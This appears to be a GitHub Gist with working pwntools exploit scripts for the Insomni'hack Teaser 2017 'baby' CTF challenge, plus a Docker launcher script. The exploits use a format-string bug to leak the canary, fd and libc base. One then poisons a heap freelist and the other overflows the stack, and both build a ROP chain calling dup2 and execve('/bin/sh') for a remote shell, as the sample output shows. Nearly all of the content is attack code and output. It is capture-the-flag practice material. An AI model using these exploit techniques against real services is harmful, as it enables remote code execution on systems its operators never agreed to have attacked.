Last active
March 27, 2017 04:51
-
-
Save Tosainu/6e383ac1ec41e8d6f6ce60c3643bae12 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# Insomni'hack Teaser 2017 : baby-50 | |
# https://github.com/ctfs/write-ups-2017/tree/master/insomnihack-teaser-2017/pwn/baby-50 | |
from pwn import * | |
import sys | |
# Your format > AAAAAAAA.%9$p | |
# AAAAAAAA.0x4141414141414141 | |
# RIP: 0x563c42bf65af --> 0xff4de9fffff8fce8 | |
# gdb-peda$ x/200 $rsp | |
# 0x7fff0a8ece60: 0x00007fff0a8ecf70 0x00000004 <- socket_fd c9488011 | |
# 0x7fff0a8ece70: 0x0000000000000000 0x000000094308b5c8 | |
# 0x7fff0a8ece80: 0x4141414141414141 0x00007f73c98a000a | |
# 0x7fff0a8ece90: 0x00007f73c9ac2d78 0x00007f73c98aa420 | |
# ... | |
# 0x7fff0a8ecf60: 0x00000000fd09cf21 0x00007f73c98aa8d9 | |
# 0x7fff0a8ecf70: 0x00000000ffffffff 0x00007f73c98aaa17 | |
# 0x7fff0a8ecf80: 0x00007f73c9abc760 <- libc? 0x00007f73ca07c4c0 | |
# 0x7fff0a8ecf90: 0x00007f73c9ac2058 0x00007f73ca07c4c0 | |
# ... | |
# 0x7fff0a8ed270: 0x00007fff0a8ed2b0 0x0000000442bf635c | |
# 0x7fff0a8ed280: 0x0000000000000002 0x9b487b9b1b7df600 <- canary | |
# 0x7fff0a8ed290: 0x00007fff0a8ed2c0 <- saved rbp 0x0000563c42bf69cf <- addr_handle+123 | |
# 0x7fff0a8ed2a0: 0x0000000000000000 0x0000000442bf6f09 | |
# ... | |
# gdb-peda$ vmmap | |
# Start End Perm Name | |
# 0x0000563c42bf5000 0x0000563c42bf8000 r-xp /work/baby-patched | |
# 0x0000563c42df7000 0x0000563c42df8000 r--p /work/baby-patched | |
# 0x0000563c42df8000 0x0000563c42df9000 rw-p /work/baby-patched | |
# 0x00007f73c9ab2000 0x00007f73c9c53000 r-xp /lib/x86_64-linux-gnu/libc-2.19.so | |
# ... | |
fsb_offset_buffer = 9 | |
fsb_offset_fd = fsb_offset_buffer + ((0x7fff0a8ece68 - 0x7fff0a8ece80) / 8) | |
fsb_offset_libc = fsb_offset_buffer + ((0x7fff0a8ecf80 - 0x7fff0a8ece80) / 8) | |
fsb_offset_canary = fsb_offset_buffer + ((0x7fff0a8ed288 - 0x7fff0a8ece80) / 8) | |
fsb_offset_rbp = fsb_offset_buffer + ((0x7fff0a8ed290 - 0x7fff0a8ece80) / 8) | |
fsb_offset_return = fsb_offset_buffer + ((0x7fff0a8ed298 - 0x7fff0a8ece80) / 8) | |
# $ r2 -A baby | |
# [0x00000ff0]> afl~handle | |
# 0x00001954 16 171 sym.handle | |
offset_handle = 0x00001954 | |
# $ r2 -A libc.so | |
# [0x00021c50]> afl~dup2,execve,exit | |
# 0x00037b60 4 108 sym.exit | |
# 0x00037d90 4 79 sym.__cxa_atexit | |
# 0x00037f60 5 32 -> 107 sym.quick_exit | |
# 0x00037f80 5 17 -> 92 sym.__cxa_at_quick_exit | |
# 0x00037fa0 8 268 -> 263 sym.__cxa_thread_atexit_impl | |
# 0x000ba2b0 6 85 -> 77 sym._exit | |
# 0x000ba310 3 34 sym.execve | |
# 0x000ba340 8 180 -> 174 sym.fexecve | |
# 0x000da6d0 10 138 -> 130 sym.posix_spawn_file_actions_adddup2 | |
# 0x000dc240 3 33 sym.__dup2 | |
# 0x000f49b0 5 86 -> 83 sym.pthread_exit | |
# 0x00116db0 1 37 sym.svc_exit | |
offset_libc_exit = 0x00037b60 | |
offset_libc_execve = 0x000ba310 | |
offset_libc_dup2 = 0x000dc240 | |
offset_libc_ret = 0x00000937 # 0x00000937: ret ; (7393 found) | |
offset_libc_pop_rdi_ret = 0x00022482 # 0x00022482: pop rdi ; ret ; (480 found) | |
offset_libc_pop_rsi_ret = 0x00024125 # 0x00024125: pop rsi ; ret ; (166 found) | |
offset_libc_pop_rdx_ret = 0x00001b96 # 0x00001b96: pop rdx ; ret ; (6 found) | |
# $ strings -tx libc.so | grep bin/sh | |
# 1633e8 /bin/sh | |
offset_libc_bin_sh = 0x1633e8 | |
context(os='linux', arch='amd64') | |
if 'remote' in sys.argv: | |
r = None | |
else: | |
r = remote('172.17.0.2', 1337) | |
# Welcome to baby's first pwn. | |
# Pick your favorite vuln : | |
# 1. Stack overflow | |
# 2. Format string | |
# 3. Heap Overflow | |
# 4. Exit | |
# Your choice > | |
log.info('leak informations') | |
r.recvuntil('Your choice > ') | |
r.sendline('2') | |
r.recvuntil('Your format > ') | |
r.sendline('%{}$p.%{}$p.%{}$p.%{}$p.%{}$p.'.format(fsb_offset_fd, fsb_offset_canary, | |
fsb_offset_return, fsb_offset_libc, | |
fsb_offset_rbp)) | |
socket_fd = int(r.recvuntil('.')[:-1], 16) >> 32 | |
canary = int(r.recvuntil('.')[:-1], 16) | |
addr_base = int(r.recvuntil('.')[:-1], 16) - offset_handle - 123 | |
addr_libc_base = int(r.recvuntil('.')[:-1], 16) - 0xa760 | |
rbp = int(r.recvuntil('.')[:-1], 16) - 0x20 - 0x10 | |
log.success('socket fd: 0x{:x}'.format(socket_fd)) | |
log.success('canary: 0x{:x}'.format(canary)) | |
log.success('rbp: 0x{:x}'.format(rbp)) | |
log.success('base address: 0x{:x}'.format(addr_base)) | |
log.success('libc base address: 0x{:x}'.format(addr_libc_base)) | |
r.sendline('') | |
r.recvuntil('Your choice > ') | |
r.sendline('3') | |
# Help yourself with the following functions : | |
# 1. Alloc | |
# 2. Free | |
# 3. Read into chunk | |
# 4. View chunks | |
# 5. Return | |
# Your choice > | |
log.info('alloc 0x28 bytes buffer x2') | |
buffers = [] | |
for i in range(0, 2): | |
r.recvuntil('Your choice > ') | |
r.sendline('1') | |
r.recvuntil('Choose chunk > ') | |
r.sendline(str(i)) | |
r.recvuntil('Choose size > ') | |
r.sendline(str(0x28)) | |
r.recvuntil('Allocated chunk {} @ '.format(i)) | |
buf = int(r.recvuntil('\n')[:-1], 16) | |
log.success('buffer {} address: 0x{:x}'.format(i, buf)) | |
buffers.append(buf) | |
log.info('free buffer 1 and buffer 0') | |
for i in [1, 0]: | |
r.recvuntil('Your choice > ') | |
r.sendline('2') | |
r.recvuntil('Choose chunk > ') | |
r.sendline(str(i)) | |
log.info('overwrite chunk 1 via buffer 0') | |
# gdb-peda$ x/20gx 0x55c85db5a530 | |
# 0x55c85db5a530: 0x0000000000000000 0x0000000000000031 <- chunk 0 | |
# 0x55c85db5a540: 0x000055c85db5a560 0x0000000000000000 | |
# 0x55c85db5a550: 0x0000000000000000 0x0000000000000000 | |
# 0x55c85db5a560: 0x0000000000000000 0x0000000000000031 <- chunk 1 | |
# 0x55c85db5a570: 0x0000000000000000 0x0000000000000000 | |
# 0x55c85db5a580: 0x0000000000000000 0x0000000000000000 | |
# 0x55c85db5a590: 0x0000000000000000 0x000000000001ea71 | |
# 0x000055c85d3c2652 in doheap () | |
# gdb-peda$ x/160gx $rsp | |
# 0x7ffed63b2460: 0x00007ffed63b2590 0x0000000403f4273c | |
# 0x7ffed63b2470: 0x00007ffed63b2580 0x00007fca42031011 | |
# 0x7ffed63b2480: 0x0000000000000000 0x0000000000000000 | |
# ... | |
# 0x7ffed63b2870: 0x0000000000000000 0x0000000000000000 | |
# 0x7ffed63b2880: 0x3131313131313131 <- input buf 0x000000045d3c230a | |
# 0x7ffed63b2890: 0x0000000000000002 0x462a89ed5184b600 <- canary | |
# 0x7ffed63b28a0: 0x00007ffed63b28d0 <- saved rbp 0x000055c85d3c29db <- addr_handle+135 | |
# 0x7ffed63b28b0: 0x0000000000000000 0x000000045d3c2f09 | |
buf = '' | |
# buffer 0 | |
buf += p64(buffers[1] - 0x10) # fd | |
buf += 'A' * 0x20 | |
# chunk 1 | |
buf += p64(0x31) # size | |
buf += p64(rbp - 0x20) # fd = addr_input_buf | |
r.recvuntil('Your choice > ') | |
r.sendline('3') | |
r.recvuntil('Choose chunk > ') | |
r.sendline('0') | |
r.recvuntil('Choose size > ') | |
r.sendline(str(len(buf))) | |
r.send(buf) | |
log.info('alloc 0x28 bytes buffer x3') | |
for i in range(2, 5): | |
r.recvuntil('Your choice > ') | |
r.send('1'.ljust(8, '\x00') * 2) | |
r.recvuntil('Choose chunk > ') | |
r.sendline(str(i)) | |
r.recvuntil('Choose size > ') | |
r.sendline(str(0x28)) | |
r.recvuntil('Allocated chunk {} @ '.format(i)) | |
buf = int(r.recvuntil('\n')[:-1], 16) | |
log.success('buffer {} address: 0x{:x}'.format(i, buf)) | |
buffers.append(buf) | |
log.info('overwrite return address via buffer 4') | |
buf = '' | |
buf += 'A' * 8 | |
buf += p64(canary) | |
buf += p64(rbp + 0x20 + 0x10) | |
# dup2(4, 0) | |
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret) | |
buf += p64(socket_fd) | |
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret) | |
buf += p64(0) | |
buf += p64(addr_libc_base + offset_libc_dup2) | |
# dup2(4, 1) | |
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret) | |
buf += p64(1) | |
buf += p64(addr_libc_base + offset_libc_dup2) | |
# dup2(4, 2) | |
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret) | |
buf += p64(2) | |
buf += p64(addr_libc_base + offset_libc_dup2) | |
# execve("/bin/sh", 0, 0) | |
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret) | |
buf += p64(addr_libc_base + offset_libc_bin_sh) | |
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret) | |
buf += p64(0) | |
buf += p64(addr_libc_base + offset_libc_pop_rdx_ret) | |
buf += p64(0) | |
buf += p64(addr_libc_base + offset_libc_execve) | |
# exit(0) | |
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret) | |
buf += p64(0) | |
buf += p64(addr_libc_base + offset_libc_exit) | |
r.recvuntil('Your choice > ') | |
r.sendline('3') | |
r.recvuntil('Choose chunk > ') | |
r.sendline('4') | |
r.recvuntil('Choose size > ') | |
r.sendline(str(len(buf))) | |
r.send(buf) | |
log.info('trigger ROP') | |
r.recvuntil('Your choice > ') | |
r.sendline('5') | |
r.interactive() | |
""" | |
$ ./heap_bof.py | |
[+] Opening connection to 172.17.0.2 on port 1337: Done | |
[*] leak informations | |
[+] socket fd: 0x4 | |
[+] canary: 0x404fc96c3a836400 | |
[+] rbp: 0x7ffe602496c0 | |
[+] base address: 0x5636a6d65000 | |
[+] libc base address: 0x7f40020f4000 | |
[*] alloc 0x28 bytes buffer x2 | |
[+] buffer 0 address: 0x5636a8335540 | |
[+] buffer 1 address: 0x5636a8335570 | |
[*] free buffer 1 and buffer 0 | |
[*] overwrite chunk 1 via buffer 0 | |
[*] alloc 0x28 bytes buffer x3 | |
[+] buffer 2 address: 0x5636a8335540 | |
[+] buffer 3 address: 0x5636a8335570 | |
[+] buffer 4 address: 0x7ffe602496b0 | |
[*] overwrite return address via buffer 4 | |
[*] trigger ROP | |
[*] Switching to interactive mode | |
$ id | |
uid=1000(baby) gid=1000(baby) groups=1000(baby) | |
$ | |
[*] Closed connection to 172.17.0.2 port 1337 | |
""" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# Insomni'hack Teaser 2017 : baby-50 | |
# https://github.com/ctfs/write-ups-2017/tree/master/insomnihack-teaser-2017/pwn/baby-50 | |
from pwn import * | |
import sys | |
# Your format > AAAAAAAA.%9$p | |
# AAAAAAAA.0x4141414141414141 | |
# RIP: 0x563c42bf65af --> 0xff4de9fffff8fce8 | |
# gdb-peda$ x/200 $rsp | |
# 0x7fff0a8ece60: 0x00007fff0a8ecf70 0x00000004 <- socket_fd c9488011 | |
# 0x7fff0a8ece70: 0x0000000000000000 0x000000094308b5c8 | |
# 0x7fff0a8ece80: 0x4141414141414141 0x00007f73c98a000a | |
# 0x7fff0a8ece90: 0x00007f73c9ac2d78 0x00007f73c98aa420 | |
# ... | |
# 0x7fff0a8ecf60: 0x00000000fd09cf21 0x00007f73c98aa8d9 | |
# 0x7fff0a8ecf70: 0x00000000ffffffff 0x00007f73c98aaa17 | |
# 0x7fff0a8ecf80: 0x00007f73c9abc760 <- libc? 0x00007f73ca07c4c0 | |
# 0x7fff0a8ecf90: 0x00007f73c9ac2058 0x00007f73ca07c4c0 | |
# ... | |
# 0x7fff0a8ed270: 0x00007fff0a8ed2b0 0x0000000442bf635c | |
# 0x7fff0a8ed280: 0x0000000000000002 0x9b487b9b1b7df600 <- canary | |
# 0x7fff0a8ed290: 0x00007fff0a8ed2c0 0x0000563c42bf69cf <- addr_handle+123 | |
# 0x7fff0a8ed2a0: 0x0000000000000000 0x0000000442bf6f09 | |
# ... | |
# gdb-peda$ vmmap | |
# Start End Perm Name | |
# 0x0000563c42bf5000 0x0000563c42bf8000 r-xp /work/baby-patched | |
# 0x0000563c42df7000 0x0000563c42df8000 r--p /work/baby-patched | |
# 0x0000563c42df8000 0x0000563c42df9000 rw-p /work/baby-patched | |
# 0x00007f73c9ab2000 0x00007f73c9c53000 r-xp /lib/x86_64-linux-gnu/libc-2.19.so | |
# ... | |
fsb_offset_buffer = 9 | |
fsb_offset_fd = fsb_offset_buffer + ((0x7fff0a8ece68 - 0x7fff0a8ece80) / 8) | |
fsb_offset_libc = fsb_offset_buffer + ((0x7fff0a8ecf80 - 0x7fff0a8ece80) / 8) | |
fsb_offset_canary = fsb_offset_buffer + ((0x7fff0a8ed288 - 0x7fff0a8ece80) / 8) | |
fsb_offset_return = fsb_offset_buffer + ((0x7fff0a8ed298 - 0x7fff0a8ece80) / 8) | |
# $ r2 -A baby | |
# [0x00000ff0]> afl~handle | |
# 0x00001954 16 171 sym.handle | |
offset_handle = 0x00001954 | |
# $ r2 -A libc.so | |
# [0x00021c50]> afl~dup2,execve,exit | |
# 0x00037b60 4 108 sym.exit | |
# 0x00037d90 4 79 sym.__cxa_atexit | |
# 0x00037f60 5 32 -> 107 sym.quick_exit | |
# 0x00037f80 5 17 -> 92 sym.__cxa_at_quick_exit | |
# 0x00037fa0 8 268 -> 263 sym.__cxa_thread_atexit_impl | |
# 0x000ba2b0 6 85 -> 77 sym._exit | |
# 0x000ba310 3 34 sym.execve | |
# 0x000ba340 8 180 -> 174 sym.fexecve | |
# 0x000da6d0 10 138 -> 130 sym.posix_spawn_file_actions_adddup2 | |
# 0x000dc240 3 33 sym.__dup2 | |
# 0x000f49b0 5 86 -> 83 sym.pthread_exit | |
# 0x00116db0 1 37 sym.svc_exit | |
offset_libc_exit = 0x00037b60 | |
offset_libc_execve = 0x000ba310 | |
offset_libc_dup2 = 0x000dc240 | |
offset_libc_ret = 0x00000937 # 0x00000937: ret ; (7393 found) | |
offset_libc_pop_rdi_ret = 0x00022482 # 0x00022482: pop rdi ; ret ; (480 found) | |
offset_libc_pop_rsi_ret = 0x00024125 # 0x00024125: pop rsi ; ret ; (166 found) | |
offset_libc_pop_rdx_ret = 0x00001b96 # 0x00001b96: pop rdx ; ret ; (6 found) | |
# $ strings -tx libc.so | grep bin/sh | |
# 1633e8 /bin/sh | |
offset_libc_bin_sh = 0x1633e8 | |
context(os='linux', arch='amd64') | |
if 'remote' in sys.argv: | |
r = None | |
else: | |
r = remote('172.17.0.2', 1337) | |
# Welcome to baby's first pwn. | |
# Pick your favorite vuln : | |
# 1. Stack overflow | |
# 2. Format string | |
# 3. Heap Overflow | |
# 4. Exit | |
# Your choice > | |
r.recvuntil('Your choice > ') | |
r.sendline('2') | |
r.recvuntil('Your format > ') | |
r.sendline('%{}$p.%{}$p.%{}$p.%{}$p.'.format(fsb_offset_fd, fsb_offset_canary, | |
fsb_offset_return, fsb_offset_libc)) | |
socket_fd = int(r.recvuntil('.')[:-1], 16) >> 32 | |
canary = int(r.recvuntil('.')[:-1], 16) | |
addr_base = int(r.recvuntil('.')[:-1], 16) - offset_handle - 123 | |
addr_libc_base = int(r.recvuntil('.')[:-1], 16) - 0xa760 | |
log.success('socket fd: 0x{:x}'.format(socket_fd)) | |
log.success('canary: 0x{:x}'.format(canary)) | |
log.success('base address: 0x{:x}'.format(addr_base)) | |
log.success('libc base address: 0x{:x}'.format(addr_libc_base)) | |
r.sendline('') | |
r.recvuntil('Your choice > ') | |
r.sendline('1') | |
buf = '' | |
# gdb-peda$ patto 0x41296e413b6e4144 | |
# 4695405312959463748 found at offset: 1032 | |
buf += 'A' * 1032 | |
buf += p64(canary) | |
buf += p64(addr_libc_base + offset_libc_ret) * 4 | |
# dup2(4, 0) | |
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret) | |
buf += p64(socket_fd) | |
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret) | |
buf += p64(0) | |
buf += p64(addr_libc_base + offset_libc_dup2) | |
# dup2(4, 1) | |
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret) | |
buf += p64(1) | |
buf += p64(addr_libc_base + offset_libc_dup2) | |
# dup2(4, 2) | |
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret) | |
buf += p64(2) | |
buf += p64(addr_libc_base + offset_libc_dup2) | |
# execve("/bin/sh", 0, 0) | |
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret) | |
buf += p64(addr_libc_base + offset_libc_bin_sh) | |
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret) | |
buf += p64(0) | |
buf += p64(addr_libc_base + offset_libc_pop_rdx_ret) | |
buf += p64(0) | |
buf += p64(addr_libc_base + offset_libc_execve) | |
# exit(0) | |
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret) | |
buf += p64(0) | |
buf += p64(addr_libc_base + offset_libc_exit) | |
log.info('send ROP ({} bytes)'.format(len(buf))) | |
r.recvuntil('How much bytes you want to send ? ') | |
r.sendline(str(len(buf))) | |
r.send(buf) | |
r.recvuntil('Good luck !\n') | |
r.interactive() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/bash | |
set -e | |
echo "[*] starting a docker container" | |
CID=$(docker run -v "$PWD":/work -d debian /bin/bash -c " | |
set -e | |
adduser baby | |
/work/baby | |
") | |
# http://stackoverflow.com/questions/17157721/getting-a-docker-containers-ip-address-from-the-host | |
docker inspect --format '[+] nc {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}} 1337' $CID |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment